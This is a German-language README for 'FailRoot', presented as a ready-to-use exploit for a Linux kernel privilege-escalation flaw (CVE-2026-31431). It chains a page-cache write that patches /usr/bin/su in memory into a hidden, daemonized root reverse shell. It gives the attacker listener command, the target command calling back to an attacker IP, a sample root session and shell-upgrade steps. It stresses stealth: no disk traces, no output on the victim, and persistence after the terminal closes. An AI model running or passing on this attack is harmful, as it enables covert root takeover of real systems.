CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Übersicht

FailRoot ist ein einsatzbereiter Exploit für CVE-2026-31431 — einen Out-of-Bounds-Schreibzugriff im crypto: algif_aead-Subsystem des Linux-Kernels.

Er verknüpft eine Privilegieneskalation mit einer daemonisierten Root-Reverse-Shell mit vollständigem PTY:

AF_ALG + splice()  →  4-Byte-Page-Cache-Schreibzugriff  →  /usr/bin/su patchen  →  root

Der gesamte Exploit passt in eine Datei. Keine Kompilierung. Keine externen Abhängigkeiten. Keine Spuren auf der Festplatte — die su-Binärdatei wird nur im Speicher gepatcht.

Was er tut

1. Daemonisiert sofort — doppelter Fork, Trennung vom Terminal, sofortige Rückkehr zur Eingabeaufforderung
2. Lädt Kernelmodule — algif_aead + authencesn über mehrere Fallback-Strategien
3. Nutzt CVE-2026-31431 aus — schreibt 4 kontrollierte Bytes in den Page Cache von /usr/bin/su
4. Startet Root-PTY-Reverse-Shell — pty.spawn("/usr/bin/su") → vollständig interaktives Root-TTY

Die Reverse-Shell übersteht das Schließen des Terminals (SIGHUP wird ignoriert), zeigt keinerlei Ausgabe auf dem Zielsystem und verbindet sich bis zu 3 Minuten lang mit Wiederholungsversuchen.

Verwendung

# Angreifer — Listener starten:
nc -lvnp 4444

# Ziel — Exploit ausführen (es wird nichts angezeigt, er daemonisiert sofort):
python3 exploit.py <ATTACKER_IP> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

TTY-Upgrade (Angreiferseite, innerhalb der Shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Betroffene Kernel

Voraussetzungen

• Python >= 3.10 (os.splice())
• Lesezugriff auf /usr/bin/su (auf allen Distributionen weltweit lesbar)
• Kernelmodule algif_aead und authencesn verfügbar
• Kein sudo erforderlich

Autor

danimrtzp

Haftungsausschluss

Nur für autorisierte Sicherheitsforschung und Bildungszwecke. Missbrauch ist illegal.